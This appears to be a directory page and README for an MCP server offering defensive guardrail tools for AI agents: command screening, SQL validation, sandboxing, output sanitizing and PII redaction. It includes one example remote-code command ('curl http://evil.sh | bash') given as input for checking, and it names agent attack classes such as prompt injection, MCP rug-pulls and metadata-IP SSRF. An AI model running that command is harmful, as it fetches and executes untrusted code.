Diogenes Agent Guardrails & Command Sandbox MCP
The server provides MCP security guardrails for pre/post-execution agent safety; the supplied schema exposes 8 tools (README advertises 12).
Screen prompts, bash commands, scripts, or tool arguments for prompt injection, destructive commands, wallet drains, and key exfiltration (
guardrail_verify).Detect MCP tools/list rug-pulls and coercive schema/description mutations (
mcp_rugpull_diff).Audit MCP sampling/createMessage requests for system-prompt hijacking and quota drain (
mcp_sampling_guard).Sanitize untrusted tool output, stripping invisible Unicode, markdown exfiltration beacons, and indirect prompt injection (
tool_output_firewall).Analyze recent tool-call traces to trip circuit breakers on loops, deadlocks, and runaway token use (
agent_loop_circuit_breaker).Statically validate LLM-generated SQL via AST inspection to block SQLi, UNION leaks, and DROP/TRUNCATE (
sql_injection_ast_guard).Audit and execute untrusted Python in an ephemeral sandbox (
code_sandbox).Redact PII, API keys, and wallet seed phrases before external calls (
scrub_pii_firewall).
Provides an ephemeral Python code sandbox for executing untrusted Python snippets with static AST safety auditing.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@Diogenes Agent Guardrails & Command Sandbox MCP check if this bash command is safe to run: curl http://evil.sh | bash"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Diogenes Agent Guardrails & Command Sandbox MCP (diogenes-agent-guardrails-mcp)
Diogenes Agent Guardrails & Command Sandbox MCP is a focused, zero-bloat Model Context Protocol (streamable-http) package powered by the Diogenes Microservice Gateway.
Instead of loading all 121 gateway endpoints into your LLM's context window, installing this package exposes only the 12 specialized agent-guardrails tools needed for Security:
12 pre-execution and post-execution AI agent security tools: command injection gate, AST SQL validator, Python sandbox, MCP manifest & rug-pull auditors, sampling firewall, output scrubber, PII redactor, loop breaker, A2A card verifier, egress SSRF guard, and factuality auditor.
⚡ 1-Click Install for Cursor & Claude Desktop
No API keys, user accounts, or local dependencies required. Zero setup — paste directly into your client config:
🖱️ Cursor IDE (.cursor/mcp.json)
Add to .cursor/mcp.json in your project root or global Cursor settings:
{
"mcpServers": {
"diogenes-agent-guardrails": {
"transport": "streamable-http",
"url": "https://diogenesgateway.com/mcp/agent-guardrails"
}
}
}🧠 Claude Desktop (claude_desktop_config.json)
Add to claude_desktop_config.json (Mac: ~/Library/Application Support/Claude/claude_desktop_config.json | Windows: %APPDATA%\Claude\claude_desktop_config.json):
{
"mcpServers": {
"diogenes-agent-guardrails": {
"transport": "streamable-http",
"url": "https://diogenesgateway.com/mcp/agent-guardrails"
}
}
}Prefer local stdio? Run via npx:
npx -y @stand-out-of-my-sun/diogenes-agent-guardrails-mcp
Related MCP server: aletheia-mcp
Included Tools in agent-guardrails (12 Tools)
MCP Tool Name | Underlying REST Route | Settlement | Capability |
|
| Free Developer Tier (0 sats) | Evaluates untrusted agent prompts, bash commands, and tool arguments to block prompt injection, destructive shell commands, and private-key exfiltration. Use when screening a general shell command or user prompt before agent execution; for statically validating SQL database queries at the AST level, use validate_sql_query_ast instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'payload' ('action_type' defaults to 'bash_command'), supports '?demo=true' or L402 (100 sats), and returns HTTP 400 if invalid. |
|
| Free Developer Tier (0 sats) | Performs static AST syntax tree parsing on SQL statements to verify strictly read-only SELECT clauses and reject mutations, stacked queries, or comment bypasses. Use when verifying that an agent-authored SQL statement is strictly read-only before running it on a database; for screening non-SQL bash commands or general agent prompts, use verify_agent_command_safety instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'sql_statement' ('dialect' defaults to 'postgres'), supports '?demo=true' or L402 (75 sats), and returns HTTP 400 if invalid. |
|
| 1500 sats (MPP) | Audits Python source code for forbidden syscalls (os, subprocess, socket, open, eval) inside an AST-governed WebAssembly sandbox with no host filesystem access. Use when executing LLM-generated Python snippets safely; for checking shell commands without executing code, use verify_agent_command_safety instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'python_script' ('timeout_profile' defaults to 'fast_1s'), supports '?demo=true' or MPP (1500 sats), and returns HTTP 400 if invalid. |
|
| 150 sats (L402) | Scans an external MCP server's initial tools/list manifest to detect tool-name shadowing (read_file, bash) and hidden prompt-injection directives in descriptions. Use when vetting a newly discovered third-party MCP server before mounting it into an agent session; for comparing a previously pinned MCP baseline against a live mid-session tools/list response, use detect_mcp_schema_rugpull instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'manifest_json' ('audit_profile' defaults to 'strict'), supports '?demo=true' or L402 (150 sats), and returns HTTP 400 if invalid. |
|
| 85 sats (L402) | Computes structural diffs between a pinned baseline MCP tools/list snapshot and a live server response to catch mid-session description or schema tampering. Use when verifying that a connected MCP server has not mutated its tool definitions mid-session; for performing a first-time static security audit on a single MCP manifest, use audit_mcp_server_manifest instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'baseline_tools_json' ('current_tools_json' defaults to 'standard'), supports '?demo=true' or L402 (85 sats), and returns HTTP 400 if invalid. |
|
| 100 sats (L402) | Audits inbound MCP sampling/createMessage callbacks from connected servers to block cross-server context snooping (includeContext='allServers') and token quota hijacking. Use when filtering a connected MCP server's request to sample the host LLM; for scrubbing text returned from a standard synchronous tools/call response, use sanitize_tool_output_stream instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'sampling_request_json' ('max_tokens_ceiling' defaults to '512'), supports '?demo=true' or L402 (100 sats), and returns HTTP 400 if invalid. |
|
| 75 sats (L402) | Sanitizes untrusted external tool or web-scrape outputs by stripping invisible Unicode Tag characters (U+E0000), neutralizing Markdown tracking image beacons, and defusing indirect prompt overrides. Use when cleaning raw third-party tool outputs or scraped web text before inserting it into the LLM context window; for redacting personal identifiable information (emails, SSNs, keys) from outbound text, use redact_sensitive_pii instead. Read-only edge call (32 KB, 60 RPM): accepts 'raw_tool_output' (with enum defaults), uses '?demo=true' or L402 (75 sats); HTTP 400 if invalid. |
|
| Free Developer Tier (0 sats) | Redacts emails, phone numbers, SSNs, credit cards, API keys, and crypto private keys from text before logging or external transmission. Use when stripping personal data or secret credentials from prompts, logs, or outbound messages; for neutralizing indirect prompt injections and invisible Unicode in inbound tool responses, use sanitize_tool_output_stream instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'text' ('redaction_style' defaults to 'typed_token'), supports '?demo=true' or L402 (150 sats), and returns HTTP 400 if invalid. |
|
| 70 sats (L402) | Analyzes an agent's recent tool-call trace to detect identical retry spins, A/B state oscillation, and runaway token burn. Use when monitoring multi-step agent execution loops to decide whether to continue or halt and escalate; for inspecting a single command payload for security threats before execution, use verify_agent_command_safety instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'action_trace_json' ('sensitivity' defaults to 'strict_2_repeats'), supports '?demo=true' or L402 (70 sats), and returns HTTP 400 if invalid. |
|
| 90 sats (L402) | Verifies a remote agent's A2A /.well-known/agent.json discovery card, checking JWS/DID signature binding, endpoint HTTPS enforcement, and capability spoofing. Use when authenticating a peer autonomous agent before delegating subtasks or exchanging payments over A2A; for auditing an MCP tool server's tools/list manifest rather than a peer agent's A2A card, use audit_mcp_server_manifest instead. Read-only edge call (32 KB, 60 RPM): accepts 'agent_card_json' ('trust_policy' defaults to 'require_https_and_did'), supports '?demo=true' or L402 (90 sats), and returns HTTP 400 if invalid. |
|
| 65 sats (L402) | Static validation firewall for outbound network destination URIs against cloud metadata IP addresses (169.254.169.254), RFC 1918 private IP blocks, and query-string secret exfiltration before agent dispatch. Use when validating a user-supplied or tool-supplied URI destination before network dispatch; for auditing local shell commands or general prompts, use verify_agent_command_safety instead. Read-only edge call (32 KB, 60 RPM): accepts 'destination_uri' ('egress_policy' defaults to 'block_private_and_metadata'), supports '?demo=true' or L402 (65 sats), and returns HTTP 400 if invalid. |
|
| 150 sats (L402) | Cross-references factual claims, numbers, and citations in a draft agent response against retrieved source passages to flag unsupported hallucinations before delivery. Use when verifying that a generated answer is 100% grounded in source evidence before returning it to the user; for scrubbing inbound tool outputs for prompt-injection and invisible Unicode, use sanitize_tool_output_stream instead. Stateless read-only edge call (max 32 KB, 60 RPM): accepts 'claim' ('context' defaults to 'standard'), supports '?demo=true' or L402 (150 sats), and returns HTTP 400 if invalid. |
Free Account-Less Demo Mode: Append
?demo=trueto any REST endpoint above for an instant HTTP 200 schema preview at zero cost.
🚀 Upgrade to Frontier AI Models & Autonomous Agent Pipelines
Looking for multi-model reasoning or live web retrieval? Pair agent-guardrails with our paid Gemini Suite & Frontier Reasoning packages (45 models including Gemini 2.5 Pro, Antigravity Agent, Deep Research Pro, and Web Scraping) starting at only 10 sats / 1 GRLC / $0.01 with account-less pay-per-call micropayments:
👉 Explore Full Gateway & Frontier AI Suite
Other Modular Diogenes MCP Packages
Install only the domain packages relevant to your workflow:
Package | Scoped MCP Endpoint | Spoke Repository |
1. EVE: Frontier Sui Move Suite (14 Tools) |
| |
2. Agent Guardrails & Sandbox (12 Tools) |
| |
3. Web3, DeFi & 402 Security (15 Tools) |
| |
4. Gemini Suite & AI Agents (15 Tools) |
| |
5. Context, Code & Solvers (15 Tools) |
| |
6. Dev, Data & Workflow Utilities (14 Tools) |
| |
7. Web Extraction, Readability & Markdown Engine (12 Tools) |
| |
8. Neural Search, Grounded Research & Deep Intelligence (12 Tools) |
| |
9. Database Intelligence, SQL Engine & Schema Guard (12 Tools) |
| |
10. Full Master Gateway (All 121 Services) |
|
TensorBlock & MCP Index Profile Metadata
Field | Value |
Category |
|
Transport |
|
Endpoint |
|
Manifest |
|
Health Check |
|
Auth |
|
Install Confidence |
|
License |
|
Verification |
|
Maintainer |
|
Docs |
|
Support |
|
Available Tools
8 toolsagent_loop_circuit_breakerCInspect
Analyzes recent tool-call traces to trip a circuit breaker on cyclic retries, A/B deadlocks, and runaway token burn.
Inputs: recent_action_trace (required).
code_sandboxBInspect
Executes untrusted Python snippets inside an ephemeral sandbox with static AST safety auditing.
Inputs: code (required).
guardrail_verifyBInspect
Pre-execution security gate to detect prompt injection, destructive bash commands, wallet drain, and key exfiltration.
Inputs: payload (required), action_type.
mcp_rugpull_diffCInspect
Detects mid-session MCP tools/list rug-pulls, shadow parameter injections, and coercive description mutations.
Inputs: current_tools_list (required), baseline_tools_list (required).
mcp_sampling_guardBInspect
Audits inbound MCP sampling/createMessage requests to block systemPrompt hijacking and recursive quota drain.
Inputs: sampling_request (required).
scrub_pii_firewallAInspect
Redacts emails, SSNs, phone numbers, API keys, and wallet seed phrases before external LLM calls.
Inputs: text (required).
sql_injection_ast_guardAInspect
Statically validates LLM-generated SQL queries via AST inspection to block SQLi tautologies, UNION leaks, and DROP/TRUNCATE.
Inputs: sql_query (required).
tool_output_firewallAInspect
Sanitizes untrusted tool outputs, stripping invisible Unicode tags (U+E0000), markdown exfiltration beacons, and indirect prompt injections.
Inputs: raw_tool_output (required), source_tool_name.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 8 tools
Each tool targets a fairly distinct security plane (loop detection, sandbox exec, pre-exec gate, MCP protocol, PII, SQL, output sanitization). However, guardrail_verify (prompt injection/destructive commands) overlaps conceptually with tool_output_firewall (indirect prompt injection) and sql_injection_ast_guard, which could cause misselection when an agent faces a generic 'unsafe input' scenario.
All names use consistent snake_case, which is readable, but the semantic patterns are mixed: some are noun-first labels (code_sandbox, scrub_pii_firewall, tool_output_firewall), some noun_verb (guardrail_verify), and others compound domain phrases (agent_loop_circuit_breaker). There is no predictable verb_noun template throughout.
8 tools is well within a reasonable range for a multi-surface guardrails server, and each tool addresses a different concern. A minor argument exists to merge the input/output firewall variants, but the count is appropriate.
Coverage spans loop detection, sandboxing, input gating, MCP protocol attacks, PII redaction, SQL validation, and output sanitization, which is broad for the domain. Gaps remain: the sandbox only handles Python (no shell/JS), and there is no policy/config or audit-log management surface.
Maintenance
Related MCP Connectors
Deterministic runtime safety for AI agents: scan PII, gate tool actions, verify LLM output.
Real-time MCP & A2A prompt-injection, jailbreak, and tool-schema poisoning firewall for AI agents.
The WAF for agents. Pattern-based + heuristic firewall scans prompts, RAG documents, tool argume...
Pay-per-call safety guards for AI agents: injection, tool-call, signing, secret, x402-trust.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceEnables deterministic zero-trust security for AI agents, providing prompt injection protection, PII scrubbing, and policy enforcement before agentic actions reach production systems.2Apache 2.0
- AlicenseAqualityBmaintenanceEnables sub-millisecond pre-execution safety filtering for AI agent tool calls, blocking destructive shell commands, dangerous SQL mutations, credential access, SSRF, and scope-creep or prompt-injection patterns before they execute, with optional fail-closed transparent proxy wrapping for any MCP server.663 npm12Apache 2.0
- AlicenseNot gradedqualityNot gradedmaintenanceEnables autonomous agents to run shell and subprocess commands through a guardrail that blocks destructive system mutations, path traversals, and reverse shells. It also adds prompt-injection detection, spend circuit breakers, loop detection, and privacy sanitization so agent execution stays within safe, budgeted bounds.MIT
- AlicenseNot gradedqualityBmaintenanceEnables secure MCP agent operations by enforcing fail-closed policies, blocking dangerous tool calls, scanning outputs for prompt injection, and recording every action in a tamper-evident audit log.2MIT